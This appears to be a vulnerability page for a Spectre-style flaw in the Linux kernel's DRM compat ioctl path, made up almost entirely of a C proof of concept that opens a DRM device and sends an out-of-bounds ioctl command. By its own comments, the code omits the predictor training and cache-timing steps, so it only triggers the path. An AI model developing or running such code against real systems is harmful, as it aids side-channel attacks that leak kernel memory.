Linux内核drm/ioc32路径Spectre推测执行漏洞

/* * PoC for CVE-2026-31781 * This PoC attempts to trigger the speculative execution * in the drm_compat_ioctl path. * Note: Exploitation requires specific hardware vulnerable to Spectre V1. */ #include <stdio.h> #include <fcntl.h> #include <sys/ioctl.h> #include <unistd.h> #include <stdlib.h> #define DRM_DEVICE "/dev/dri/card0" // A malicious command number intended to be out of bounds // Actual value depends on the target kernel's ioctl table size #define MALICIOUS_CMD 0xFFFFFFFF int main() { int fd; // Attempt to open a DRM device (requires local access) fd = open(DRM_DEVICE, O_RDWR); if (fd < 0) { perror("Failed to open DRM device"); return -1; } printf("Attempting to trigger speculative execution on fd %d\n", fd); // In a real attack scenario, this would be executed in a loop // to train the branch predictor, followed by cache timing analysis. // Here we simply trigger the ioctl path. if (ioctl(fd, MALICIOUS_CMD, NULL) < 0) { // The ioctl is expected to fail (return error), // but speculative execution might have occurred. perror("ioctl failed (expected)"); } close(fd); return 0; }